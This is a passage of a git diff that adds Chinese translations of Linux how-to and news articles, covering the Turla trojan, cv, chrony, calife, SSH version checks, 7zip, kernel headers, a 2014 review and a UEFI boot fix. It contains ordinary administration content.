“Linux上的Turla模块是一个链接多个静态库的C/C++可执行文件,这大大增加了它的文件体积。但它并没有着重减小自身的文件体积,而是剥离了自身的符号信息,这样就增加了对它逆向分析的难度。它的功能主要包括隐藏网络通信、远程执行任意命令以及远程管理等等。它的大部分代码都基于公开源码。” + +不管它的影响和感染率如何,它的技术优势都将不断给那些号称聪明的专家们留下一个又一个问题,就让他们花费大把时间去追踪、分析、解决这些问题吧。 + +我不是一个计算机安全专家,但我是一个理智的网络脑残粉,要我说,这次事件应该被看做是一个通(jing)报(gao),而并非有些网站所标榜的洪(shi)水(jie)猛(mo)兽(ri)。 + +在更多细节披露之前,我们都不必恐慌。只需继续计算机领域的安全实践,避免从不信任的网站或PPA源下载运行脚本、app或二进制文件,更不要冒险进入web网络的黑暗领域。 + +如果你仍然十分担心,你可以前往[卡巴斯基的博客][1]查看更多细节,以确定自己是否感染。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/12/government-spying-turla-linux-trojan-found + +作者:[Joey-Elijah Sneddon][a] +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://securelist.com/blog/research/67962/the-penquin-turla-2/ +[2]:https://twitter.com/joernchen/status/542060412188262400 +[3]:https://securelist.com/blog/research/67962/the-penquin-turla-2/ diff --git a/published/201501/20141222 A Great Tool To Show Linux Command Progress Like ETA.md b/published/201501/20141222 A Great Tool To Show Linux Command Progress Like ETA.md new file mode 100644 index 0000000000..e51bd26b4f --- /dev/null +++ b/published/201501/20141222 A Great Tool To Show Linux Command Progress Like ETA.md @@ -0,0 +1,98 @@ +一个可以显示Linux命令运行进度的伟大工具 +================================================================================ +Coreutils Viewer(**cv**)是一个简单的程序,它可以用于显示任何核心组件命令(如:cp、mv、dd、tar、gzip、gunzip、cat、grep、fgrep、egrep、cut、sort、xz、exiting)的进度。它使用文件描述信息来确定一个命令的进度,比如cp命令。**cv**之美在于,它能够和其它Linux命令一起使用,比如你所知道的watch以及I/O重定向命令。这样,你就可以在脚本中使用,或者你能想到的所有方式,别让你的想象力束缚住你。 + +### 安装 ### + +你可以从cv的[github仓库那儿][1]下载所需的源文件。把zip文件下载下来后,将它解压缩,然后进入到解压后的文件夹。 + +该程序需要**ncurses library**。如果你已经在你的Linux系统中安装了ncurses,那么cv的安装过程对你而言就是那么的轻松写意。 + +通过以下两个简单步骤来进行编译和安装吧。 + + $ make + $ sudo make install + +### 运行cv ### + +要运行cv,只需要想其它程序一样,在命令行输入此命令即可。如果你没有执行make install,而选择从当前目录中去运行,那么你可以运行以下命令: + + $ ./cv + +否则,就运行以下命令吧。 + + $ cv + +如果没有核心组件命令在运行,那么cv程序会退出,并告诉你:没有核心组件命令在运行。 + +![cv no command](http://blog.linoxide.com/wp-content/uploads/2014/11/cv-no-command.png) + +要有效使用该程序,请在你系统上运行某个核心组件程序。在本例中,我们将使用**cp**命令。 + +当拷贝一个打文件时,你就可以看到当前进度了,以百分比显示。 + +![cv default](http://blog.linoxide.com/wp-content/uploads/2014/11/cv-default.png) + +### 添加选项到 cv ### + +你也可以添加几个选项到cv命令,就像其它命令一样。一个有用的选项是让你了解到拷贝或移动大文件时的预计剩余时间。 + +添加**-w**选项,它就会帮你显示预计的剩余时间。 + + $ cv -w + +![cv estimated throughput](http://blog.linoxide.com/wp-content/uploads/2014/11/cv-estimated-throughput.png) + +试着添加更多的命令选项吧。像下面这样添加其它选项: + + $ cv -wq + +### cv 和 watch 命令 ### + +watch是一个用于周期性运行程序并显示输出结果的程序。有时候,你可能想要持续看看命令运行状况而不想将 cv 的结果存储到日志文件中。在这种情况下,watch就会派上用场了,它可以和cv一起使用。 + + $ watch cv -qw + +该命令将会显示所有运行着的核心组件命令的实例。它也会显示进度和预计完成时间。 + +![cv and watch](http://blog.linoxide.com/wp-content/uploads/2014/11/cv-and-watch-e1416519384265.png) + +### 在日志文件中查看输出结果 ### + +正如其所承诺的那样,你可以使用cv来重定向它的输出结果到一个日志文件。这功能在命令运行太快而看不到任何有意义的内容时特别有用。 + +要在日志文件中查看进度,你仅仅需要重定向输出结果,就像下面这样。 + + $ cv -w >> log.txt + +要查看该命令的输出结果,请用你喜爱的文本编辑器打开日志文件,也可以用cat命令,就像下面这样: + + $ cat log.txt + +### 获得帮助 ### + +如果你在任何地方受到阻碍,你总是可以通过查阅手册页或使用help选项来获取帮助信息。 +要获取帮助信息,可以使用带**-h**选项的cv命令。 + + $ cv -h + +如果需要更多详细信息,那么手册页是个很不错的地方。 + + $ man cv + +但是,要获取上述手册页,你必须执行make install来安装cv。 + +耶!现在,你的Linux工具箱中又多了个伟大的工具。 你学会么?亲自去试试吧~ + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/tool-show-command-progress/ + +作者:[Allan Mbugua][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/allan/ +[1]:http://github.com/Xfennec/cv diff --git a/published/201501/20141222 How to Sync Time Properly with NTP Server in CentOS 7.x.md b/published/201501/20141222 How to Sync Time Properly with NTP Server in CentOS 7.x.md new file mode 100644 index 0000000000..d8bfbd7c49 --- /dev/null +++ b/published/201501/20141222 How to Sync Time Properly with NTP Server in CentOS 7.x.md @@ -0,0 +1,70 @@ +CentOS 7.x中正确设置时间与时钟服务器同步 +================================================================================ +**Chrony**是一个开源的自由软件,它能帮助你保持系统时钟与时钟服务器(NTP)同步,因此让你的时间保持精确。它由两个程序组成,分别是chronyd和chronyc。chronyd是一个后台运行的守护进程,用于调整内核中运行的系统时钟和时钟服务器同步。它确定计算机增减时间的比率,并对此进行补偿。chronyc提供了一个用户界面,用于监控性能并进行多样化的配置。它可以在chronyd实例控制的计算机上工作,也可以在一台不同的远程计算机上工作。 + +在像CentOS 7之类基于RHEL的操作系统上,已经默认安装有Chrony。 + +### Chrony配置 ### + +当Chrony启动时,它会读取/etc/chrony.conf配置文件中的设置。CentOS 7操作系统上最重要的设置有: + +**server** - 该参数可以多次用于添加时钟服务器,必须以"server "格式使用。一般而言,你想添加多少服务器,就可以添加多少服务器。 + + server 0.centos.pool.ntp.org + server 3.europe.pool.ntp.org + +**stratumweight** - stratumweight指令设置当chronyd从可用源中选择同步源时,每个层应该添加多少距离到同步距离。默认情况下,CentOS中设置为0,让chronyd在选择源时忽略源的层级。 + +**driftfile** - chronyd程序的主要行为之一,就是根据实际时间计算出计算机增减时间的比率,将它记录到一个文件中是最合理的,它会在重启后为系统时钟作出补偿,甚至可能的话,会从时钟服务器获得较好的估值。 + +**rtcsync** - rtcsync指令将启用一个内核模式,在该模式中,系统时间每11分钟会拷贝到实时时钟(RTC)。 + +**allow / deny** - 这里你可以指定一台主机、子网,或者网络以允许或拒绝NTP连接到扮演时钟服务器的机器。 + + allow 192.168.4.5 + deny 192.168/16 + +**cmdallow / cmddeny** - 跟上面相类似,只是你可以指定哪个IP地址或哪台主机可以通过chronyd使用控制命令 + +**bindcmdaddress** - 该指令允许你限制chronyd监听哪个网络接口的命令包(由chronyc执行)。该指令通过cmddeny机制提供了一个除上述限制以外可用的额外的访问控制等级。 + + bindcmdaddress 127.0.0.1 + bindcmdaddress ::1 + +**makestep** - 通常,chronyd将根据需求通过减慢或加速时钟,使得系统逐步纠正所有时间偏差。在某些特定情况下,系统时钟可能会漂移过快,导致该调整过程消耗很长的时间来纠正系统时钟。该指令强制chronyd在调整期大于某个阀值时步进调整系统时钟,但只有在因为chronyd启动时间超过指定限制(可使用负值来禁用限制),没有更多时钟更新时才生效。 + +### 使用chronyc ### + +你也可以通过运行chronyc命令来修改设置,命令如下: + +**accheck** - 检查NTP访问是否对特定主机可用 + +**activity** - 该命令会显示有多少NTP源在线/离线 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/chrony-activity.jpg) + +**add server** - 手动添加一台新的NTP服务器。 + +**clients** - 在客户端报告已访问到服务器 + +**delete** - 手动移除NTP服务器或对等服务器 + +**settime** - 手动设置守护进程时间 + +**tracking** - 显示系统时间信息 + +你可以通过使用帮助命令查看完整的命令列表: + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/commands.jpg) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/chrony-time-sync/ + +作者:[Adrian Dinu][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ diff --git a/published/201501/20141224 Calife--A lightweight alternative to sudo.md b/published/201501/20141224 Calife--A lightweight alternative to sudo.md new file mode 100644 index 0000000000..5c1fcf8f70 --- /dev/null +++ b/published/201501/20141224 Calife--A lightweight alternative to sudo.md @@ -0,0 +1,64 @@ +Calife:一个轻量级的sudo替代品 +================================================================================ +Calife会在登录为另外一个用户前输入自己的密码(如果没有提供登录名,默认是登录为root),在验证具有正确的权限后,就会切换到该用户及其组身份,并就会执行一个shell。如果 calife 是由 root 执行的,不需要密码,会执行一个所需的用户ID的shell。 + +所用的shell是用户自身所用的,除非在calife.auth配置文件中指定了某个shell。如果在命令行指定了“-”选项,就会读取该用户的环境文件,该shell就像是一个登录shell。这和su的惯常用法不同。 + +只有在calife.auth中指定的用户才能使用此方法通过calife成为另外一个用户。calife.auth安装位置处于/etc/calife.auth。 + +### Calife特性 ### + +这里给出了一个关于calife特性的扩展列表: + +- 你可以完整保留你的环境变量和shell别名 +- 它可以全程记录会话的开始到结束 +- 你可以列出每个许可使用calife的用户,那样,你就可以用户赋予主管权限而不必提供root密码 +- 你可以在配置文件中指定哪个组可以使用:只要使用@staff或者%staff,那么所有staff组中的成员都将具有访问calife的权限 +- 通过calife也可以登录成为那些没有家目录或甚至没有shell的用户。如果你想要成为uucp或者甚至是bin,那会很方便 +- 你可以让calife在会话结束时运行一个指定的系统级的脚本(例如,发送一封邮件告知以root身份做了哪些事) + +### ubuntu中安装calife ### + +打开终端,然后运行以下命令 + + sudo apt-get install calife + +### 使用Calife ### + +### 语法 ### + + calife [-] [login] + +详情请参与calife手册页 + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/calife-a-lightweight-alternative-to-sudo.html + +作者:[ruchi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git a/published/201501/20141224 Linux FAQs with Answers--How to check SSH protocol version on Linux.md b/published/201501/20141224 Linux FAQs with Answers--How to check SSH protocol version on Linux.md new file mode 100644 index 0000000000..1aac7682f3 --- /dev/null +++ b/published/201501/20141224 Linux FAQs with Answers--How to check SSH protocol version on Linux.md @@ -0,0 +1,75 @@ +Linux有问必答:如何在Linux上检查SSH的版本 +================================================================================ +> **Question**:我想到SSH存在1和2两个版本(SSH1和SSH2)。这两者之间有什么不同?还有我该怎么在Linux上检查SSH协议的版本? + +安全Shell(SSH)通过加密的安全通信通道来远程登录或者远程执行命令。SSH被设计来替代不安全的明文协议,如telnet、rsh和rlogin。SSH提供了大量需要的特性,如认证、加密、数据完整性、授权和转发/通道。 + +### SSH1 vs. SSH2 ### + +SSH协议规范存在一些小版本的差异,但是有两个主要的大版本:**SSH1** (版本号 1.XX) 和 **SSH2** (版本号 2.00)。 + +事实上,SSH1和SSH2是两个完全不同互不兼容的协议。SSH2明显地提升了SSH1中的很多方面。首先,SSH是宏设计,几个不同的功能(如:认证、传输、连接)被打包进一个单一的协议,SSH2带来了比SSH1更强大的安全特性,如基于MAC的完整性检查,灵活的会话密钥更新、充分协商的加密算法、公钥证书等等。 + +SSH2由IETF标准化,且它的实现在业界被广泛部署和接受。由于SSH2对于SSH1的流行和加密优势,许多产品对SSH1放弃了支持。在写这篇文章的时候,OpenSSH仍旧[支持][1]SSH1和SSH2,然而在所有的现代Linux发行版中,OpenSSH服务器默认禁用了SSH1。 + +### 检查支持的SSH协议版本 ### + +#### 方法一 #### + +如果你想检查本地OpenSSH服务器支持的SSH协议版本,你可以参考**/etc/ssh/sshd_config**这个文件。用文本编辑器打开/etc/ssh/sshd_config,并且查看"Protocol"字段。 + +如果如下显示,就代表服务器只支持SSH2。 + + Protocol 2 + +如果如下显示,就代表服务器同时支持SSH1和SSH2。 + + Protocol 1,2 + +#### 方法二 #### + +如果因为OpenSSH服务其运行在远端服务器上而你不能访问/etc/ssh/sshd_config。你可以使用叫ssh的SSH客户端来检查支持的协议。具体说来,就是强制ssh使用特定的SSH协议,接着我么查看SSH服务器的响应。 + +下面的命令强制ssh使用SSH1: + + $ ssh -1 user@remote_server + +下面的命令强制ssh使用SSH2: + + $ ssh -2 user@remote_server + +如果远程SSH服务器只支持SSH2,那么第一个带“-1”的选项就会出现像下面的错误信息: + + Protocol major versions differ: 1 vs. 2 + +如果SSH服务器同时支持SSH1和SSH2,那么两个命令都有效。 + +### 方法三 ### + +另一个检查版本的方法是运行SSH扫描工具,叫做[scanssh][2]。这个命令行工具在你想要检查一组IP地址或者整个本地网络来升级SSH1兼容的SSH服务器时很有用。 + +下面是基本的SSH版本扫描语法。 + + $ sudo scanssh -s ssh -n [ports] [IP addresses or CIDR prefix] + +"-n"选项可以指定扫描的SSH端口。你可以用都好分隔来扫描多个端口,不带这个选项,scanssh会默认扫描22端口。 + +使用下面的命令来发现192.168.1.0/24本地网络中的SSH服务器,并检查SSH协议v版本: + + $ sudo scan -s ssh 192.168.1.0/24 + +![](https://farm8.staticflickr.com/7550/15460750074_95f83217a2_b.jpg) + +如果scanssh为特定IP地址报告“SSH-1.XX-XXXX”,这暗示着相关的SSH服务器支持的最低版本是SSH1.如果远程服务器只支持SSH2,scanssh会显示“SSH-2.0-XXXX”。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-ssh-protocol-version-linux.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.openssh.com/specs.html +[2]:http://www.monkey.org/~provos/scanssh/ \ No newline at end of file diff --git a/published/201501/20141224 Linux FAQs with Answers--How to install 7zip on Linux.md b/published/201501/20141224 Linux FAQs with Answers--How to install 7zip on Linux.md new file mode 100644 index 0000000000..3978ec0fc7 --- /dev/null +++ b/published/201501/20141224 Linux FAQs with Answers--How to install 7zip on Linux.md @@ -0,0 +1,74 @@ +Linux有问必答:Linux 中如何安装 7zip +================================================================================ +> **问题**: 我需要要从 ISO 映像中获取某些文件,为此我想要使用 7zip 程序。那么我应该如何安装 7zip 软件呢,[在 Linux 发布版本上完全安装]? + +7zip 是一款开源的归档应用程序,开始是为 Windows 系统而开发的。它能对多种格式的档案文件进行打包或解包处理,除了支持其原生的 7z 格式的文档外,还支持包括 XZ、GZIP、TAR、ZIP 和 BZIP2 等这些格式。 通常,7zip 也用来解压 RAR、DEB、RPM 和 ISO 等格式的文件。除了简单的归档功能,7zip 还具有支持 AES-256 算法加密以及自解压和建立多卷存档功能。在支持 POSIX 标准的系统上(Linux、Unix、BSD),原生的 7zip 程序被移植过来并被命名为 p7zip(“POSIX 7zip” 的简称)。 + +下面介绍如何在 Linux 中安装 7zip (或 p7zip)。 + +### 在 Debian、Ubuntu 或 Linux Mint 系统中安装 7zip ### + +在基于的 Debian 的发布系统中存在有三种 7zip 的软件包。 + +- **p7zip**: 包含 7zr(最小的 7zip 归档工具),仅仅只能处理原生的 7z 格式。 +- **p7zip-full**: 包含 7z ,支持 7z、LZMA2、XZ、ZIP、CAB、GZIP、BZIP2、ARJ、TAR、CPIO、RPM、ISO 和 DEB 格式。 +- **p7zip-rar**: 包含一个能解压 RAR 文件的插件。 + +建议安装 p7zip-full 包(不是 p7zip),因为这是最完全的 7zip 程序包,它支持很多归档格式。此外,如果您想处理 RAR 文件话,还需要安装 p7zip-rar 包,做成一个独立的插件包的原因是因为 RAR 是一种专有格式。 + + $ sudo apt-get install p7zip-full p7zip-rar + +### 在 Fedora 或 CentOS/RHEL 系统中安装 7zip ### + +基于红帽的发布系统上提供了两个 7zip 的软件包。 + +- **p7zip**: 包含 7za 命令,支持 7z、ZIP、GZIP、CAB、ARJ、BZIP2、TAR、CPIO、RPM 和 DEB 格式。 +- **p7zip-plugins**: 包含 7z 命令,额外的插件,它扩展了 7za 命令(例如支持 ISO 格式的抽取)。 + +在 CentOS/RHEL 系统中,在运行下面命令前您需要确保 [EPEL 资源库][1] 可用,但在 Fedora 系统中就不需要额外的资源库了。 + + $ sudo yum install p7zip p7zip-plugins + +注意,跟基于 Debian 的发布系统不同的是,基于红帽的发布系统没有提供 RAR 插件,所以您不能使用 7z 命令来抽取解压 RAR 文件。 + +### 使用 7z 创建或提取归档文件 ### + +一旦安装好 7zip 软件后,就可以使用 7z 命令来打包解包各式各样的归档文件了。7z 命令会使用不同的插件来辅助处理对应格式的归档文件。 + +![](https://farm8.staticflickr.com/7583/15874000610_878a85b06a_b.jpg) + +使用 “a” 选项就可以创建一个归档文件,它可以创建 7z、XZ、GZIP、TAR、 ZIP 和 BZIP2 这几种格式的文件。如果指定的归档文件已经存在的话,它会把文件“附加”到存在的归档中,而不是覆盖原有归档文件。 + + $ 7z a + +使用 “e” 选项可以抽取一个归档文件,抽取出的文件会放在当前目录。抽取支持的格式比创建时支持的格式要多的多,包括 7z、XZ、GZIP、TAR、ZIP、BZIP2、LZMA2、CAB、ARJ、CPIO、RPM、ISO 和 DEB 这些格式。 + + $ 7z e + +解包的另外一种方式是使用 “x” 选项。和 “e” 选项不同的是,它使用的是全路径来抽取归档的内容。 + + $ 7z x + +要查看归档的文件列表,使用 “l” 选项。 + + $ 7z l + +要更新或删除归档文件,分别使用 “u” 和 “d” 选项。 + + $ 7z u + $ 7z d + +要测试归档的完整性,使用: + + $ 7z t + +-------------------------------------------------------------------------------- + +via:http://ask.xmodulo.com/install-7zip-linux.html + +译者:[runningwater](https://github.com/runningwater) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2324-1.html \ No newline at end of file diff --git a/published/201501/20141224 Linux FAQs with Answers--How to install kernel headers on Linux.md b/published/201501/20141224 Linux FAQs with Answers--How to install kernel headers on Linux.md new file mode 100644 index 0000000000..24c14db88e --- /dev/null +++ b/published/201501/20141224 Linux FAQs with Answers--How to install kernel headers on Linux.md @@ -0,0 +1,74 @@ +Linux有问必答:如何在Linux上安装内核头文件 +================================================================================ +> **提问**:我在安装一个设备驱动前先要安装内核头文件。怎样安装合适的内核头文件? + +当你在编译一个设备驱动模块时,你需要在系统中安装内核头文件。内核头文件同样在你编译与内核直接链接的用户空间程序时需要。当你在这些情况下安装内核头文件时,你必须确保内核头文件精确地与你当前内核版本匹配(比如:3.13.0-24-generic)。 + +如果你的内核是发行版自带的内核版本,或者使用默认的包管理器的基础仓库升级的(比如:apt-ger、aptitude或者yum),你也可以使用包管理器来安装内核头文件。另一方面,如果下载的是[kernel源码][1]并且手动编译的,你可以使用[make命令][2]来安装匹配的内核头文件。 + +现在我们假设你的内核是发行版自带的,让我们看下该如何安装匹配的头文件。 + +### 在 Debian、Ubuntu 或者 Linux Mint 上安装内核头文件 ### + +假设你没有手动编译内核,你可以使用apt-get命令来安装匹配的内核头文件。 + +首先,使用dpkg-query命令检查是否有可用的内核头文件。 + + $ dpkg-query -s linux-headers-$(uname -r) + +---------- + + dpkg-query: package 'linux-headers-3.11.0-26-generic' is not installed and no information is available + +接着使用下面的命令安装匹配的内核头文件。 + + $ sudo apt-get install linux-headers-$(uname -r) + +![](https://farm9.staticflickr.com/8681/16000652415_a7c399992e_z.jpg) + +验证头文件是否成功安装。 + + $ dpkg-query -s linux-headers-$(uname -r) + +---------- + + Package: linux-headers-3.11.0-26-generic + Status: install ok installed + +Debian、Ubuntu、Linux Mint默认头文件在**/usr/src**下。 + +### 在 Fedora、CentOS 或者 RHEL 上安装内核头文件 ### + +假设你没有手动编译内核,你可以使用yum命令来安装匹配的内核头文件。 + +首先,用下面的命令检查系统是否已经安装了头文件。如果下面的命令没有任何输出,这就意味着还没有头文件。 + + $ rpm -qa | grep kernel-headers-$(uname -r) + +接着用yum命令安装头文件。这个命令会自动找出合适的头文件并安装。 + + $ sudo yum install kernel-headers + +![](https://farm9.staticflickr.com/8594/15378403114_c51ff6f4ae_z.jpg) + +验证包安装的状态。 + + $ rpm -qa | grep kernel-headers-$(uname -r) + +---------- + + kernel-headers-3.10.0-123.9.3.el7.x86_64 + +Fedora、CentOS 或者 RHEL上默认内核头文件的位置是**/usr/include/linux**。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-kernel-headers-linux.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://www.kernel.org/pub/linux/kernel/ +[2]:https://www.kernel.org/doc/Documentation/kbuild/headers_install.txt \ No newline at end of file diff --git a/published/201501/20141226 The Good The Bad And The Ugly Of Linux In 2014.md b/published/201501/20141226 The Good The Bad And The Ugly Of Linux In 2014.md new file mode 100644 index 0000000000..a134e75432 --- /dev/null +++ b/published/201501/20141226 The Good The Bad And The Ugly Of Linux In 2014.md @@ -0,0 +1,100 @@ +2014年Linux界发生的好事,坏事和丑事 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/Buggest_Linux_Stories.jpeg) + +2014年已经过去,现在正是盘点**2014年Linux大事件**的时候。整整一年,我们关注了有关Linux和开源的一些好事,坏事和丑事。让我们来快速回顾一下2014对于Linux是怎样的一年。 + +### 好事 ### + +首先,让我们来看看在2014年对于Linux爱好者发生了什么有积极意义的事。 + +#### Linux上的Netflix #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/netflix-linux.jpg) + +从使用Wine到[使用Chrome的测试功能][1],为了能让Netflix能在Linux上工作,Linux用户曾尝试了各种方法。好消息是Netflix终于在2014年带来了Linux的本地支持。这让所有能使用Netflix的地区的Linux用户的脸上浮现出了微笑。不过,想在[美国以外的地区使用Netflix][2](或其他官方授权使用Netflix的国家之外)的人还是得靠其他的方法。 + +#### 欧洲国家采用开源/Linux #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/OpenSource_World.jpg) + +如果你愿意的话,你可以归功于经济滑坡,但是Linux和开源的采用已经俘虏了欧洲各大城市。我说的可不是个人用户,而是政府和各个官方机构。一整年我们都在听到这样的消息:[法国][3]和[意大利各大城市如何通过改用Linux和开源办公软件节省了数百万欧元][4]。而且这个趋势并没有仅限于意大利和法国,在西班牙、[瑞士][5]和[德国][6]也能见到。 + +#### Windows 10从Linux获得灵感 #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/10/Windows10_Linux.jpg) + +即将发行的微软的旗舰操作系统Windows,将被称为Windows 10(没有Windows 9)。并且Windows 10将拥有一大堆的新特性。但是这些“新特性”只在微软的世界里是新的,而且大多是这些新特性已经在Linux的世界里存在了数年。看看这些[Windows 10从Linux复制的特性][7]。 + +### 坏事 ### + +Linux在2014年并不是一帆风顺。某些事件的发生败坏了Linux/开源的形象。 + +#### Heartbleed 心血漏洞 #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/heartbleed-bug.jpg) + +在今年的四月份,检测到[OpenSSL][8]有一个缺陷。这个漏洞被命名为[Heartbleed心血漏洞][9]。他影响了包括Facebook和Google在内的50多万个“安全”网站。这项漏洞可以真正的允许任何人读取系统的内存,并能因此给予用于加密数据流的密匙的访问权限。[xkcd上的漫画以更简单的方式解释了心血漏洞][10]。自然,这个漏洞在OpenSSL的更新中被修复了。 + +#### Shellshock 破壳漏洞 #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/shellshock_Linux_check.jpeg) + +好像有个心血漏洞还不够似的,在Bash里的一个缺陷更严重的震撼了Linux世界。这个漏洞被命名为[Shellshock 破壳漏洞][11]。这个漏洞把Linux往远程攻击的危险深渊又推了一把。这项漏洞是通过黑客的DDoS攻击暴露出来的。升级一下Bash版本应该能修复这个问题。 + +#### Ubuntu Phone和Steam控制台 #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/Ubuntu_phone.png) + +一个又一个的承诺,一次又一次的期望。但是即使在2014年也没人看见Ubuntu Phone或是Steam游戏控制台。围绕Ubuntu Phone产生了很多激烈的讨论。从2014年二月发行推到九月又推到十二月,(谢天谢地)终于有可能在2015年二月发行。但是Steam控制台还是没有消息。想了解更多请读[Ubuntu Phone说明书,价格和发行日期][12]。 + +### 丑事 ### + +是否采用 systemd 的争论变得让人羞耻。 + +### systemd大论战 ### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/Systemd_everywhere.jpg) + +用init还是systemd的争吵已经进行了一段时间了。但是在2014年当systemd准备在包括Debian, Ubuntu, OpenSUSE, Arch Linux 和 Fedora几个主流Linux分布中替代init时,事情变得不知廉耻了起来。它是如此的一发不可收拾,以至于它已经不限于boycottsystemd.org这类网站了。Lennart Poettering(systemd的首席开发人员及作者)在一条Google Plus状态上声明,说那些反对systemd的人在“收集比特币来雇杀手杀他”。Lennart还声称开源社区“是个恶心得不能待的地方”。人们吵得越来越离谱以至于把Debian分裂成了一个新的操作系统,称为[Devuan][15]。 + +### 还有诡异的事 ### + +伴随着好事、坏事和丑事而来得是诡异的事,而且没谁能比微软更诡异。 + +#### 微软爱Linux #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/Microsoft_Loves_Linux.png) + +是的,你没看错。[微软爱Linux][16]。同为微软CEO,Steve Ballmer曾说[Linux是毒瘤][17]。当新CEO,Satya Nadella宣称微软爱Linux时,我们透过微软向Linux和开源的靠近,看到了领导层的改变。这份对Linux的爱实际上是微软试图让[Azure][18]成为更好的云平台。为了达成这项目标,需要虚拟化Hyper-V(Azure核心),以便同Linux一起运行。这个绝境让[微软成为Linux内核的第五大贡献者][19]。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/biggest-linux-stories-2014/ + +作者:[Abhishek][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://linux.cn/article-3024-1.html +[2]:http://itsfoss.com/easiest-watch-netflix-hulu-usa/ +[3]:http://linux.cn/article-3575-1.html +[4]:http://linux.cn/article-3602-1.html +[5]:http://itsfoss.com/170-primary-public-schools-geneva-switch-ubuntu/ +[6]:http://itsfoss.com/german-town-gummersbach-completes-switch-open-source/ +[7]:http://itsfoss.com/windows-10-inspired-linux/ +[8]:http://en.wikipedia.org/wiki/OpenSSL +[9]:http://heartbleed.com/ +[10]:http://xkcd.com/1354/ +[11]:http://itsfoss.com/linux-shellshock-check-fix/ +[12]:http://itsfoss.com/ubuntu-phone-specification-release-date-pricing/ +[13]:http://www.tecmint.com/systemd-replaces-init-in-linux/ +[14]:https://plus.google.com/+LennartPoetteringTheOneAndOnly/posts/J2TZrTvu7vd +[15]:http://linux.cn/article-4512-1.html +[16]:http://linux.cn/article-4056-1.html +[17]:http://www.theregister.co.uk/2001/06/02/ballmer_linux_is_a_cancer/ +[18]:http://azure.microsoft.com/en-us/ +[19]:http://www.zdnet.com/article/top-five-linux-contributor-microsoft/ diff --git a/published/201501/20141229 2 Ways To Fix The UEFI Bootloader When Dual Booting Windows And Ubuntu.md b/published/201501/20141229 2 Ways To Fix The UEFI Bootloader When Dual Booting Windows And Ubuntu.md new file mode 100644 index 0000000000..d182bd2f77 --- /dev/null +++ b/published/201501/20141229 2 Ways To Fix The UEFI Bootloader When Dual Booting Windows And Ubuntu.md @@ -0,0 +1,95 @@ +Windows和Ubuntu双系统,修复UEFI引导的两种办法 +======================================================================= +读者在读过我的[安装Ubuntu和Windows 8双系统教程][1]以后,碰到的主要的问题是电脑直接启动到Windows 8而没有出现启动Ubuntu的选项。 + +这里有两种修复EFI启动引导的方法,使Ubuntu可以正常启动 + +![](http://0.tqn.com/y/linux/1/L/E/J/1/grub2.JPG) + +*将GRUB2设置为启动引导* + +### 1. 启用GRUB引导 ### + +在安装时,有些地方可能会出问题。 + +理论上来说,如果你首先安装Ubuntu,那么你需要[关闭快速启动][2]。 + +希望你[按照这个指南创建一个UEFI Ubuntu 启动优盘][3]安装正确的UEFI引导程序。 + +如果你在安装时已经完成了这些事情,那么可能出错的地方就是将GRUB2设置为启动管理器。 + +可以按照以下几个步骤将GRUB2设置为默认的引导程序: + +1. 登录Windows 8 +2. 转到桌面 +3. 右击开始按钮,选择管理员命令行 +4. 输入 mountvol g: /s (这将你的EFI目录结构映射到G盘) +5. 输入 cd 